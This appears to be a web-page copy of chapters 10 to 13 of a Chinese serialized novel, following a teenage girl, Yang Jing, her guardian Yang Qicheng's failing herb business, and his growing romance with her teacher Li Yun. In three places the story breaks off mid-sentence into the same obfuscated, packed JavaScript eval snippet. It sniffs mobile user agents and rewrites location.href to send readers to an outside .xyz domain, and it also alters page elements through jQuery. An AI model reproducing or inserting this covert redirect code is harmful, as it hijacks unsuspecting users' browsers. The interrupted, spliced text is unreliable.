杨启程看她一眼,躬身钻上了车,“回去吧。” 杨静点了点头,却站着没动。 车子在原地停了一会儿,终于发动。 杨静退回一步,目光久久追随。 金杯很快驶远,像抹浅淡的飞灰,涂在发白的天色之中。 杨启程往后视镜里看了最后一眼。 小小的,一个黑点儿。 10. 【增】(10)新岁 学期最后一天,像是笼子解了锁,所有人都按捺不住,一颗心早飞出去,讨论着即将到来的假期。 厉昀抱着一叠安全宣传家长知情书进教室,分给第一排的同学发下去,开始强调假期注意事项。 杨静没在听,把知情书拿在手里,折作几叠,看向窗外。 放假了,而她还不知道该往哪儿去。 说是等杨启程回家过年,可她心里还有个执拗的念头:是他把她送走的,也得他把她接回去。 厉昀讲完了,最后强调:“值日小组留下做大扫除,其他同学可以回家了,路上注意安全。” 杨静回过神,那张纸被她叠作了一个飞机。 她抬眼,发现厉昀在看她,然而只是淡淡的一瞥,看不出有分毫的情绪。 厉昀转身出教室,杨静往纸飞机头上哈了口气,向着她的背影扔出去。 杨静回到宿舍,把一早收拾好的东西提上,往校门口走去。 这个时候,校园里除了洒扫的同学,已经不剩多少人了。 她走得磨磨蹭蹭,也不知道自己在拖延什么。怕是回到扁担巷,而杨启程还没从川藏回来?或是他回来了,却在屋里安然坐着? 渐而,她也觉得自己太小孩子气,他又不知道她今天放假,这么点儿路,还不会自己回去么。 然而快到校门口,她便看见路边停着一辆金杯。 杨静心脏微微抖了一下,紧跟着就柔软下来,立马勒紧了书包带子,拔腿奔过去。 快到跟前时,金杯的车门打开,杨启程从车上跳下来,嘴里叼着支烟,斜提着眼角看她,“怎么这么磨蹭。” 杨静停下,气喘吁吁,想要说话,先咧嘴笑了,“哥。” 缸子从驾驶座探过头来喊她:“杨静!” “缸子哥。” 打完招呼,杨静又抬眼看杨启程。 他黑了很多,听说高原日照强烈,大约是因为晒的。其他倒是没变,连着身上那股子吊儿郎当的味儿也是原装进口。 还是她的程哥。 杨静又笑了。 杨启程在她脑袋上拍了一掌,“傻。”嘴角那么勾了一下,像是笑了,但又不那么明显。他把杨静手里拎的两袋衣服接过来,打开后座门,给她放上去。 杨静卸书包,放在一旁,盯着杨启程的后脑勺,问道:“缸子哥,你们这趟顺利么?” “顺利。开春再跑两趟,就等着你程哥飞黄腾达吧。” 缸子描述的这个金光闪闪的未来,杨静倒是不敢深想,只觉得顺利就好。 扁担巷仍跟往常一样,只是增添了浓重的年味儿。就连以前杨静顶讨厌的吆喝争吵,听来都是过年和谐的协奏。 409的房间让杨启程收拾过了,但收拾得很是潦草,细细一看,全是破绽。角落里的那张床垫还在,也整理过了,起码看着比整间屋子要体面得多。 屋里的桌上,多了盆金桔,叶子绿得滴翠,果子金灿灿的,放那儿就像是个彩头。 杨启程发现她在看,便说:“缸子送的。” 杨静浅浅一笑,“不是你买的么?” “……老子有这么无聊?” 杨静放了书包,从里面掏出一叠试卷,递给杨启程。 杨启程看她一眼。 “学习成果。” 杨启程把夹在指间的烟含在嘴里,接过试卷一张一张地翻:“语文,102;英语96;数学,80……”一张张念完,他开口,烟灰落在试卷上,“行啊,进步不小。” 杨静只看着他笑,“我说到做到的。” 杨启程把一叠试卷搁在手边的桌子上,“你以前是不是扮猪吃老虎?” “……其实学一学,发现挺简单的,就是数学基础没打好。” “72分及格?那不错了。” 杨静笑着,“下次过一百。” 杨启程哼笑一声,“口气不小。” 他抖了抖烟灰,问她:“恢复得怎么样?” “还可以。” “那什么的时候……还疼么?” 杨静多少有点不自在,“……还好,只有一点。” “多锻炼。” 杨静应下。 杨启程坐在椅上,转了个身,从床边的一只行李袋中摸出个盒子,往杨静跟前一放。 杨静瞅了一眼,愣了愣。 “交了五百块话费,号码都给你存进去了,不准拿去教室用。” 似是怕那盒子烫手,杨静拿得小心翼翼,打开一看,里面一台手机,翻盖,粉红色,应该是专门替她挑的。 杨静觉得手里沉甸甸的,她把盖子翻开,屏幕的蓝光照进她眼里,“很贵吧?” “还行。好好保管,不用锁柜子里。” 杨静点头,珍而重之地收好了。 年夜饭是在缸子家里吃的,缸子嫌他俩住的那地方太小,什么都支展不开。 缸子是单亲家庭,父亲去世以后,母亲改了嫁,又生了个儿子。缸子跟着奶奶过,每月从他妈那儿拿点儿钱,自打辍学以后,钱也不拿了,两人的一点儿联系,仅限于逢年过节打个电话。 三个人凑一起,怎么着都有种“天作之合”的意思。 杨静便小声说:“缸子哥,天作之合不是这么用的。” “管它怎么用!就是这意思!” “哦。”杨静小心地从一把扑克里抽出一个对子,结果缸子和杨启程连番出牌,管得她毫无招架之力。 两人一面嫌弃着杨静牌技烂,一面却还是不准她离场,听着电视里的相声儿,一直打到十二点。 缸子丢了一手的牌,奔去阳台看烟花。 杨启程便随手把他桌前的那把钱一扫,全塞给杨静,“你缸子哥给你的压岁钱。” 杨静笑了,“问过缸子哥的意见了吗?” “他没有意见。” 轰鸣声中,缸子转过头看他俩,“还坐那儿干什么?腚黏板凳上了?快过来看!一会儿倒计时了!” 杨静很喜欢过年。 哪怕人再活得跟蝼蚁一样,也得为日子找个奔头。从前,也只在过年的时候,孙丽会对她和颜悦色些,有新衣服,有一顿好饭。好像所谓的新年,过了以后,日子也能跟着簇新簇新一样。 以前,杨静的奔头是长大,离开孙丽。 如今孙丽已经先一步走了,而她有了更多的奔头。 她抬头,看向杨启程。 在他背后,烟花一串一串地炸开,将天空照得发亮。 如今她盼望着日子能一天比一天好,缸子、她,还有杨启程,一天比一天好。 · 开春以后,杨启程和缸子又往川藏跑了数趟,渐渐摸出些门道,便计划着自己另起炉灶。 然而真开始了,才发觉这事儿远比他们想象得要艰难复杂。采购方早有熟悉的合作对象,他们两个愣头青,除了上门挨家挨家地推销,别无办法。前面就像是道铜墙铁壁,只得以肉身为武器,试试看能不能砸出一个洞来。 三月杨静过生日,杨启程跟缸子到处碰壁,忙得连喘口气儿的机会都没有,然而还是抽了点儿时间,去学校领杨静出来吃饭。 他买了个蛋糕提在手里,站在校门口等着杨静,总觉得拎着这粉嫩的蛋糕盒子娘俩儿兮兮的,但小姑娘大约都爱吃甜的,生日又只一年一次。 没等多久,杨静就混在一群放学的学生中出来了。 他真是一眼就看见她了,大约是因为她太瘦,身材跟个麻杆儿似的,校服穿她身上空荡荡的。比起去年收留她时,她高了好几寸,也不知道学校的饭菜里是不是掺了什么特殊的饲料,光管长个儿不管长胖。 杨静一看见他,脸上便露出笑容,脚步也跟着加快,连走带跑地到了门口,在门卫处登记签字。 她先冲他一笑,“哥,你怎么一回比一回黑。” “健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609383|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康,你懂个屁。以为都像你,脸上刷三层石灰粉。” 虽然是挤兑,可她还是觉得高兴,也只笑一笑,一句都不反驳。 两人找了个馆子吃饭,既然是过生日,当然得由着寿星点菜。 杨静也不客气,四个菜,全是自己爱吃,最后觉得自己这样是不是过分了点儿,便又为杨启程多点了一道黄豆焖猪蹄。 “你吃得完?” 杨静抬眼瞟他,“可你让我点的。” “我没让你浪费粮食。”杨启程嘴里这么说,却还是将菜单往服务员手里一塞,催促她快点上菜。 “吃不了带回去你跟缸子哥吃。” “哦,吃你剩下的。” 杨静一笑,“我带回去也行。” 杨启程不跟她计较。 他觉得这段时间杨静笑得似乎多了些,再不像往常一样苦大仇深。 十三四岁的小姑娘,是该多笑,笑着好看。 吃饭时候,杨静问起杨启程生意上的事。 “没你事,瞎操心什么。” 杨静看着他,似乎想从他那张没什么表情的脸上分辨出他到底辛苦不辛苦,“顺利么?” 杨启程也不多说,“还行。” 杨静埋头吃菜,“那你跟缸子哥注意多休息。” 杨启程没应,心里有些烦躁。 吃完饭,杨静打算把蛋糕分了,杨启程说,“我不吃,你带回去。” 杨静看他一眼,手指绞着缠在盒子上的缎带,一下把它扯开了。 杨启程看她一眼,倒也没阻止。 蛋糕不太大,杨静自己数了十四根蜡烛插上,伸手找杨启程要打火机。 杨启程摸了摸口袋,掏出来给替她一根一根点上了,然而嘴里还是抱怨,“点了还要吹,麻烦不麻烦?” 杨静笑了,“……哥,这是长这么大,我第一次吃蛋糕。” 杨启程愣了一下。 她偏着头,看着桌上那十四朵微弱的小火光,真真切切地笑着,眼里却有点儿凉。 孙丽巴不得自己从未生下过她这么一个赔钱的孽障,自然不会还想着给她过生日。常常是就随随便便地过去了,偶尔逢上孙丽心情好的时候,杨静能从她那儿多拿到五块钱的零花。 她捏着钱,在蛋糕店橱窗外眼巴巴地看了半天,那些漂亮的奶油缠成的花,她都买不起,最后一狠心,拿了一个雪媚娘。 都是甜的,吃起来,大约差别也不大。 杨静双手合十,许了个愿望。 愿望却是为跟杨启程许的:愿他能成功,再不要过这样灰头土脸的日子。 吹熄蜡烛,切下两块蛋糕,两人一人一块。 杨静拿叉子舀了点儿奶油,送进嘴里,满口的甜,细密又黏腻,和雪媚娘还是不一样的。 她吃两口就觉得腻了,然而还是舍不得放下叉子,最后舌尖似乎都丧失了味觉,只有甜,一股脑儿的甜。 杨启程只吃了一口,他实在受不了这玩意儿,但看杨静一块都要吃完,便觉得过生日买蛋糕终归是没错的。 “好吃么?” 杨静停了一下,牙齿咬着叉子,点了下头。 “剩下的你带回去跟同学分。” 杨静几下把手里这块吃完,把剩下的蛋糕又装回盒里。 杨启程站起身,招了招手喊服务员过来买单。 他一低头,瞧见手边没吃完的蛋糕,忽然拿手指蘸了点,抬起手臂就在她鼻子上抹了一道。 杨静呆愣着,一下还没反应过来。 杨启程哼笑一声,掏出钱付账。 片刻,杨静摸了摸自己的鼻子,自己手指也沾上了黏糊糊的奶油。 她抽了纸巾,使劲擦了两下。 买完单,杨启程说:“走吧。” 说罢,目光稍稍一顿,定在她鼻尖上。 大约是擦得有点厉害,她鼻尖是红的,有点儿像哭过一样。 11. 【增】(11)日光(上) 杨启程将杨静送回学校,看着她身影走出去一段,转身往自己车走去。 他站那儿,点了支烟,刚抽了两口,忽听身后有人叫他:“杨先生!” 杨启程回头,厉昀正朝他走过来。三月,她穿了件浅色齐脚踝的连衣裙,外面罩了件针织的开衫,头发束着,整个人的气质介于干练和温婉之间。 杨启程把烟捏在指间,稍稍站直了身体,“厉老师。” 厉昀笑了笑,“来找杨静么?” “嗯,她今天生日。” 两个人站得稍有些距离,就像普通的学生家长和老师。 但厉昀总觉得,这距离有些近了,该再远点儿;可一方面,却又想再站近一点。 风把他指间的烟味送过来,她稍稍屏住呼吸,不那么认真地和他寒暄着。 有好一阵没见过他了,上次还是吃饭,他送她上出租车,她一直没敢回头看,到家了还觉得那烟味儿仍飘在鼻子跟前。 算来,也有好几个月了。 今天他似乎比上次晒黑了些,穿一件短款的黑色夹克,拿烟的姿势十分随意,眉目看着比上次更显深邃。 几句公事公办的话说完,一时就沉默下来。 厉昀看杨启程似有要走的意思,忽然问:“杨先生在做药材生意?” 杨启程一顿,看着她。 交浅言深了,然而……厉昀顾不得,只能一鼓作气,“我有个做保健产品的朋友,最近急缺一批药材。杨先生若有意向……”大抵还是难堪,话说了半截,咬着唇,把最后的半截咽下去。 她低头避开杨启程一时带着几分审视意味的目光,从包里摸出一张名片递给他,“这是他的联系方式。” 杨启程伸手接过,烟灰断了一截,跌在地上。 厉昀随着那截烟灰晃了晃神。 “谢谢。”杨启程往名片上看了一眼。 厉昀抬起头,笑意坦荡了些,“我朋友很急,周围人都惊动了,我也只能答应说替他多留心。我认识的人少,本来只是随口敷衍的,恰好碰见杨先生,就想起来了,原谅我这么唐突。” 杨启程微微眯了眯眼,看着她。 厉昀这一番冠冕堂皇霎时又给击打得七零八落,她总觉得他这一眯眼有许多说不出的意味,无论哪一种,都带了点儿危险的意思。 “好,我会考虑。” 厉昀笑了笑,尽力收敛着自己的情绪,“我得回去上课了,回见。” 杨启程点了点头,“杨静还是麻烦厉老师多多照顾。” 厉昀不想听见这个名字,眉头微微地蹙了一下,但还是笑着,“应该的。” 她很快走进去,进门时才借机回了一下头,然而杨启程已经上了车,车窗关着,看不清楚。 · 杨启程转头就把那名片给扔了,仍和缸子四处去找购货商,一家家尝试,一家家碰壁,最后没想到还真让他们谈成两家。那一阵,杨启程和缸子频繁往返于旦城和川藏,忙得脚不沾地,但心里倒觉得踏实,日子似乎格外有奔头。 大半年下来,两人稳扎稳打,又谈成一家。那是家刚成立的厂子,什么都缺,一口气就下了个大单。这单要做成了,今年就可以关张数钱等过年了。 激动便容易冒进,两人没做太多考虑,手头的钱全扔进去,进了三车的货,然而等辛辛苦苦拉回来,下单的那厂厂长卷款潜逃了,厂门口聚了一堆要账的工人。 小十万的货,就这么砸在了手里,原有的那几家购货商根本消化不了。 屋漏偏逢连夜雨,缸子奶奶恰好这时候也病倒了,医院建议是立即手术。 如今钱全在租借的仓库里囤着,两人手里的现钱加起来上千都不到,经住院拿药一折腾,穷得恨不得要去大街上捡烟屁股抽,自然拿不出一分钱给老人做手术。 老人有点耳背了,要人扯着嗓子说话,她才能听见。她对自己得了什么病并不在乎,也不想开刀,拉着缸子的手,一径儿地说不想住院,想早点儿回去,家里杜鹃再不浇水都要死了。手背上青筋突出,像是饱经雨水冲刷的丘陵。 缸子就大声说,好,再住两天,做完检查咱们就回家。 最后,缸子回去给窗台上的杜鹃浇了水,开车去城南找他妈借钱。 晚上,缸子回来了。 杨启程给他开了门,摸过烟盒,把最后一支抽出来点燃:“怎么样?” 缸子一摸脸,声音是哑的,“……开不了这口。我坐车里看到他们一家三口吃饭回来,有说有笑的……她现在日子过得好,我真开不了这个口,让她为难。算了吧……我再想想办法。” 可是,现如今能用的办法,全在《刑法》里头写着。 杨启程咬着滤嘴,一时沉默。 缸子也没说话,垂头坐着,压力要是有形的,恐怕此刻压在他肩上的,得是泰山那级别。 最后,杨启程把剩下的烟猛地几口抽完,抄起床边椅子上外套站起身。 缸子看他,“去哪儿?” 杨启程一顿,“……去找办法。” 临着学校,有一家很安静的咖啡馆,店里东西比较贵,学生们不常来。 杨启程在门口站了一会儿,确定这店还在营业,才推门进去。 他临窗坐着,盯着外面。没等多久,就看见厉昀出现在街道的那端。 她里面穿了条深色的裙子,外面套着一件乳白色风衣,头发散着,手里抱着一本书。过马路时,十分认真地先看右边再看左边,不知道她心里是不是在默念交通规则。 杨启程被自己这想法逗得乐了一下,习惯性地去摸打火机,又想起烟抽完了,只得放回去。 厉昀推门进门,扬头四下看了看,看到杨启程了,脸上立马露出一个笑容,脚步轻快地向他走来。 厉昀把书放下,也没看菜单,直接点了杯奶茶。 她身上带了股寒气,大约是冷,往掌心里呵了口气。 两人还是先寒暄着,围绕杨静。 厉昀说杨静这大半年来进步很大,成绩能排进班级前十了,时常还能进前五;又说她性格还是有点孤僻,不太合群,课余时间都是看书,不怎么跟同学玩。 奶茶端上来,厉昀双手捧着捂了一会儿,笑了笑,问杨启程:“杨先生今天找我有什么事?” 杨启程心里多少有些难堪,他这人不大习惯求人帮忙,更不爱欠人人情。 路分正道歧途,他跟缸子好不容易把两条腿从原来那灰色的境地里拔.出来,不能再往回走。既然打定了主意走正道,就得接受走正道的规矩和约束。 “厉老师跟我提过,说有个做保健产品的朋友……” 厉昀即刻心领神会,笑说:“是,他最近又开了一条产品线,正在到处找供货商。” 她一接到电话,便猜到杨启程恐怕是有事相求。一见面,见他形容憔悴,更加肯定自己的判断。 杨启程目光在她脸上停留一瞬,试图分辨她这话是真是假。不至于次次这么巧,他要上楼,她手边恰好就有梯子。 “上回你给我的名片,我揣口袋里,洗衣服洗烂了。” 厉昀笑了笑,“是说杨先生怎么没有联系我那个朋友,害我还被我朋友骂了一顿,说我让他白高兴一场。” 这梯子,搭得太巧,让人走得舒服。 杨启程便说:“那厉老师,方不方便再给我一张?” “再洗烂了呢?”厉昀笑了,掏出手机,“我直接给他打电话,帮你们约个会面的时间吧,好吗?” 三两句话,这事儿就定下来了。 杨启程便觉身上担子卸了一半,另一半,就是恐怕一时半会儿还不上的人情。 从咖啡馆出去,杨启程将厉昀送至学校门口。 还是上晚自习的时间,校园里安安静静的。 厉昀问她:“进去看看杨静吗?” 杨启程眯眼往里看了一会儿,“算了,过两天来。” 厉昀趁着这会儿,偷偷地看他,赶在他视线转过来之前,又飞快地移开了。然而动静太大,还是让他抓到些蛛丝马迹。 她便有些窘迫,却也不只是窘迫,低头捋了捋发丝,轻声说:“我先进去了。” 杨启程点头。 厉昀没多说什么,最后看他一眼,走进校门。 她脚步轻快,因为知道下次见面应该不会耽搁太久。 仓库里那批货很快便销出去,拿到钱以后,缸子立即让医生安排手术。 缸子好奇杨启程是找到了什么办法,然而问了几次,杨启程都不肯说,他怕他是铤而走险,又去捞偏门,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609384|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他平日里还是坦坦荡荡的,也不像是走了夜路怕见鬼。 他把杨启程的朋友网在心里排查一遍,没费什么功夫就有了答案。 手术很成功,缸子奶奶在医院了住了半个月,就回家休养去了。 杨启程寻了个时间,报恩。 他约了厉昀去旦河边一家餐馆吃饭,席上委婉提出要给她提供点儿金钱报酬。 厉昀暂时放了筷子,笑问杨启程:“杨先生知道我为什么要当老师吗?” 杨启程没开口,等着她自己说。 “我爸自己有个厂子,做电子仪器的,他一直想让我学经济,毕业以后女承父业……我爸小时候成绩不好,总被老师教训,还被体罚过,所以以最讨厌老师这个职业。我那时候很叛逆,一定要和他对着干,大学就报了师范。” 杨启程不由看她一眼。 看不出来,表面温婉柔顺,实则有一根反骨。 杨启程听懂了,她既然有这样好的家世,自然不图他什么金钱上的报酬。 不图钱,那就…… 杨启程推开卡座的窗户,问厉昀,“我能不能抽支烟?” 厉昀浅浅笑说:“随意。” 杨启程把烟点燃了,斜斜地叼在嘴里,看着外面,有一下没一下地抽。 厉昀看着他。 他抽烟的时候,眉头总是蹙着,似有满腹的心事。因此,大约不是他抽烟的姿势吸引人,而是他满腹心事的样子吸引人。 吃完饭,两人沿着河畔走去停车的地方。 今天起了雾,荡在河上,水流的声音却很清澈,空气里一股带着腥味的潮湿。 饭吃完了,路眼看着也要走完了,这恩还没报。 杨启程只得开口,“厉老师,这回的事,十分感谢……缸子也说想请你吃饭,只是家里有人刚做完手术,他暂时脱不开身……以后,厉老师要有什么需要帮忙的,尽管开口。” 顿了半晌,厉昀轻轻地“嗯”了一声。 杨启程便觉自己这番冠冕堂皇一下像是捶进了棉花里。 他有点儿烦躁,又去摸烟盒,厉昀突然停了脚步。 他反射性地跟着停下,手里动作也停了。 厉昀抬起头看他,目光忐忐忑忑,“……那我能给你打电话吗?” 杨启程愣了愣,“……什么?” “我不要你谢我,只要我给你打电话的时候,你愿意腾点时间出来,跟我聊聊天。”她声音有点轻有点飘,似乎是在强迫自己不要移开目光,是以到最后,难堪得眼里都像是泛了点儿雾气。 杨启程一下就说不出话来,静了许久,他说,“好。” 将厉昀送上出租车以后,杨启程顺道去看缸子的奶奶。 缸子的奶奶家在老城区的一条巷子里,住一楼,占了个小院儿,院里摆了许多盆花,还有株吐蕊的白色山茶。说要拆迁,已经传了很多年,但始终没个准信儿。 屋里开着电视,缸子奶奶腿上搭了块毯子,缸子正一边扯着嗓子跟她说话,一边剥着柚子。 他见杨启程进来,立即笑问:“往哪儿浪去了?” 杨启程往旁边坐下,懒得理他,只抬高了声音问奶奶身体恢复得怎么样。 缸子拿脚踢了踢杨启程等着,“问你话呢?” 杨启程不耐烦,“关你什么事。” “我他妈总要晓得你路子从哪儿找来的吧,你要是去卖屁股……” “你他妈怎么不去卖屁股?” “那也得有人要啊——行了,你也别瞒着我,杨静那老师是不是?” 杨启程没吭声。 缸子把剥干净的柚子肉放进奶奶手里,“都过了一年了,难得她对你还是这么挂心。人也不错,正儿八经家庭里出来的姑娘。” 杨启程瞥他一眼,“你想说什么直说,别跟我这儿放烟雾.弹。” “我就想说,你要是觉得人好,这情承了也无所谓,要是没这个想法,那就算了。这事儿归根到底是你帮了我,往后有用得着的,我给她当牛做马去。” 杨启程沉默。 缸子瞅着他,嘿嘿一笑,“得嘞,敢情你俩一个愿打一个愿挨,算我瞎操心。” 最后,缸子摇头晃脑地问他:“老杨,知道昀什么意思吗?昀者,日光也。” 12. 【增】(12)日光(上) 时间一晃,又到开年。 杨启程手里有了点余钱,便寻思着从扁担巷里搬出来。杨静逢年过节还要回去住,然而小姑娘如今愈发大了,两人住那么一个闭塞的小房间里,终归是不方便。最后,杨启程委托缸子帮忙看了套房子,一次性付了半年的租金。 正这时候,那谣传了三四年的拆迁,终于出了政策。 缸子高兴坏了,他奶奶住的这两层楼带个小院儿,拆下来怎么着也得上七位数。缸子心思便开始活泛,这一趟趟入藏,赚的都是辛苦钱,既然做生意,那就得做个大的。正好,之前那厂长卷款逃跑的厂子要拍卖,缸子便跟杨启程商量,等拆迁款下来,两人就把厂子拿下来,自己来做。 有了上次教训,这回杨启程十分谨慎,这事不是一拍大腿就能办下来的,里头许多关窍,背后要是没人指点铺路,压根打不通。上百万下去,很可能连个水花都砸不出来。 然而缸子有一点说得不错,要做生意,就得做个大的。倒买药材赚差价是最低端的活,利润的大头还是在生产销售那一块。好比说一支口服液,成本只有几毛钱,经过包装上市,一支就能卖出十倍的价格甚至更高。如今这一块市场还没饱和,蛋糕烫手,就等着有胆识的人去分。 两人正为这事儿连番奔走,杨启程收到厉昀的一条短信——她过生日,邀请他去。 这一阵,杨启程总是无端想起缸子那句话:知道昀是什么意思吗? 他觉得这姑娘就像她名字一样,连那点儿小心思,都显露得十分透彻——小心思,得让人看得出来才有意义。 这不是一个多复杂的人,家世也甚为清白,性格、相貌更是挑不出一点错。 一个男人,拼搏一辈子,也无非就是为了这么点儿事。 而他之所以还在犹豫,就是厉昀这条件,于他而言,实在是过于出挑了。 无论他摆出什么姿态,都有点儿像在倒贴。 生日当天,杨启程前去赴约。 一桌子人,都是厉昀的朋友。杨启程自知跟他们不是一路人,不咸不淡地寒暄着。倒是厉昀,时时处处以他为中心,无论说什么,话锋最后总要将他捎带上去。 吃完饭,一行人去舞厅唱歌。 杨启程早年在这样的场所待惯了,只觉得吵,自己找了个角落坐下抽烟。 没抽几口,一人拿着话筒喊他:“给你们点了首歌!”说罢将厉昀往他跟前一推。 杨启程往屏幕上瞥了一眼,《广岛之恋》。 他指间捏着烟,缓慢地抽了一口。 摇晃的灯光里,烟很快散了。 他抬头看向厉昀。 厉昀也在看他,微仰着下巴,轻咬着唇。 杨启程眯着眼,坐着没动。 前奏快放完了,杨启程还是没动,厉昀脸上的表情渐有些挂不住,“这个歌我不太会,你们唱吧。”说着便要把话筒递出去。 正这时,杨启程忽然把烟掐了,站起身,“换一首。” 厉昀目光微敛,片刻,嘴角抿出一抹笑,低声问:“唱什么? 杨启程接过话筒,走近一步,手虚虚地往她腰间一搭,低下头看着她,声音沉沉:“……陈百强的那个歌。” 厉昀眼皮一动,“……《偏偏喜欢你》?” 静了半瞬,杨启程沉缓地“嗯”了一声。 散场的时候,厉昀把朋友一一送上车。全部送完,转头一看,杨启程正靠着车边抽烟。 她立在原地,一时没有出声,也没有走过去。 街上汽车驶过去,寂静被打破,转瞬却又归于更加浓稠的寂静。 厉昀呼吸不自觉地放缓了,脚下也仿佛下陷着,有点落不到实处。 她轻轻地攥着手指,缓慢走过去。 杨启程这时候抬起头,“都走了?” 厉昀点头。 杨启程站直了身体,弹了弹烟灰,“送你回去?” 厉昀抬眼看他,“再陪我一会儿。” 杨启程“嗯”了一声。 厉昀又说:“……你没送我生日礼物。” 杨启程看她,“想要什么?” 厉昀说:“得你自己准备的才作数。” “你想要什么,我送你。” 厉昀沉默了数秒,轻声说:“我有点怕你。” 杨启程咬着滤嘴,笑了一声,“怕我什么。” “不知道,”厉昀抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609385|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头看他,“……觉得你很远。” 她声音很低,最后一个字仿佛是跌进了夜里。 她说完,谁也没出声。 夜一时仿佛更静。 她也不敢再看杨启程,缓缓地低下头,伸手要去拉车门。 这时候,她手忽然被杨启程一把抓住。 她心脏霎时漏跳一拍。 紧接着,听着杨启程略带着调笑的声音,“……远吗?” 她咬紧了唇,没有吭声。 下一瞬,他体温靠得更近,烟味铺天盖地地罩拢,她呼吸不畅。 “……还远吗?” 她勉强支撑着,紧盯着自己踩在地上的靴子。脚下仿佛是软的,使不上劲。 “……那你送我一句准话吧。”过了许久,她终于找见自己的声音。 又是沉默。 她不着急。 到这时候,突然反而不着急了。 杨启程许久没动,最后,丢了烟蒂,一脚踩灭了。 “……你知道我以前是做什么的吗?”他不再是一副调笑的语气。 “……大概知道。” “我什么都没有。” 厉昀绞紧了手指,“……不用你有什么。” 杨启程静了一瞬,低头看她,“……不怕我利用你?” “……那你得一直利用。” 一辆车经过,头灯的光将两人照亮,又疾驰而去。 沉默片刻,杨启程打开车门,“送你回去。” 厉昀看着他,“酒醒了吗?” 杨启程一顿,“醒了。” 送回了厉昀,杨启程把车开回缸子替他找好的新房子。 房子里没有家具,只准备让杨静住的次卧里剩了一张钢丝床。 杨启程走进去,也没开灯,就坐在床板上。 屋外的光线照进来一缕,身前是明,身后是暗,然而暗与明的界限却也是模糊。 他心里莫名地烦躁,却又带着一种心安理得的坦然。 人一旦寻求着和普罗大众一般无二的活法,大约就意味着开始堕入平庸了。 平庸并不意味着不好。 起码平庸足够安全。 13. 【改】(13)苦(上) 豆大的雨噼里啪啦敲打玻璃窗,雷声隐隐,由远及近。 每一次落雷,杨静就跟着一惊,心里仿佛压了一块重石,让她越来越喘不过气来。 厉昀的声音被湮没在激烈的雨声之中:“……不要把它当成中考,就当成一次普通的考试,不要给自己额外的压力……” 又是“轰隆”一声,杨静手中杵在纸上的铅笔芯一下折断了。 她如梦方醒,恍然抬头,却一下对上厉昀探寻的目光。 杨静蹙了蹙眉,扭头看向窗外。 下课铃叮铃铃打响,厉昀暂时收住话头,“……晚上想自习的仍然可以来教室,科任老师都在办公室,有什么问题直接去问。好了,祝大家中考顺利,下课!” 她话音刚落,底下爆发出一阵欢呼,有人爬上桌子,将书本高高抛掷起来。 一时之间,教室里纸屑纷飞。 杨静埋头收拾东西,眼前光线忽然一暗。 杨静抬头,对上厉昀的目光。 “跟我来办公室。” 杨静紧抿着唇,半晌,方才站起身。 雨丝细密,天色昏暗,远处雾气茫茫。 雨水随风潜入走廊,飘在手臂上,跟着带起一阵清清冷冷的痒。 杨静跟着厉昀身后,穿过两栋楼之间的走廊,来到办公室。 “坐。” 杨静没动。 厉昀看她一眼,也就站着,“我知道你担心你哥。” 杨静冷淡地向她瞥去一眼。 厉昀盯着她,“你后天就要中考了。 杨静没吭声。 “我已经托人在找了,你好好考试,别让你哥担心……” 杨静打断她,“你有什么立场替我哥说话?” 厉昀一怔,按捺心底的火气,耐着性子说:“眼下既然没消息,该做的事还是要做好。你哥一直对你寄予厚望,你自己也清楚,不要一时意气用事耽误前程。” 杨静心里烦躁,不愿意听厉昀说教,二话不说,转身往外走。 一旁的数学老师祝老师吱声,“杨静这孩子脾气真是有点冲。” 厉昀抿唇皱眉,盯着杨静远去的背影,没吭声。 一道道身影没入雨中,各色的雨伞绵延至视野尽头。 杨静站在走廊上,远远眺望,校服前襟被飘进来的雨丝浸湿。 “杨静。” 杨静转头。 陈骏走到她跟前,捉住她手臂往后轻轻一拽,“站远点儿,都淋湿了。” 陈骏看她,“吃晚饭了吗?” 杨静摇头。 “那一起去吧。” “我不饿。” 陈骏观察她的表情,“怎么了?” 杨静犹豫半晌,还是告诉陈骏:“我哥和缸子哥失联了。” 陈骏一惊,“多久了?” “四天,电话一直打不通,说是不在服务区。” “以前有这样的情况吗?” 杨静摇头,“以前我三天给他打一个电话或者发一条短信,都能通。上周打电话,他跟我说好了,一定在我中考之前回来。” 陈骏沉吟,“你先别担心,我回去问问我爸,这种情况能不能报警。” 杨静紧咬着唇。 陈骏拉了拉她手臂,“跟我去食堂吃晚饭吧。” “不想吃。” “那你想吃什么,我去外面帮你买。” 杨静摇头。 陈骏轻轻叹一声气,“那你回教室,身上淋湿了,小心感冒。”不由分说的抓住杨静手臂,将她一路拉回三班教室。 杨静回到座位上坐下,仍旧惶惶难定。 